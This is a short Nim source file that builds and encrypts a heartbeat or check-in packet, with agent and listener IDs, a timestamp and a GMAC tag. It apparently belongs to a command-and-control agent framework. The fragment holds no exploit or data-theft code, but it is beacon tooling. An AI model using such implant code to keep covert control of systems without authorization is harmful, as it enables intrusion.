43 lines
1.2 KiB
Nim
43 lines
1.2 KiB
Nim
import times
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import ../../common/[types, serialize, sequence, utils, crypto]
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proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
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return Heartbeat(
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header: Header(
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magic: MAGIC,
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version: VERSION,
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packetType: cast[uint8](MSG_HEARTBEAT),
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flags: cast[uint16](FLAG_ENCRYPTED),
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size: 0'u32,
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agentId: string.toUuid(ctx.agentId),
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seqNr: 0'u32,
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iv: generateBytes(Iv),
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gmac: default(AuthenticationTag)
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),
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listenerId: string.toUuid(ctx.listenerId),
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timestamp: uint32(now().toTime().toUnix())
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)
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proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] =
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var packer = Packer.init()
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# Serialize check-in / heartbeat request
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packer
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.add(request.listenerId)
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.add(request.timestamp)
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let body = packer.pack()
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packer.reset()
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# Encrypt check-in / heartbeat request body
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let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr)
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# Set authentication tag (GMAC)
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request.header.gmac = gmac
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# Serialize header
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let header = packer.serializeHeader(request.header, uint32(encData.len))
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return header & encData |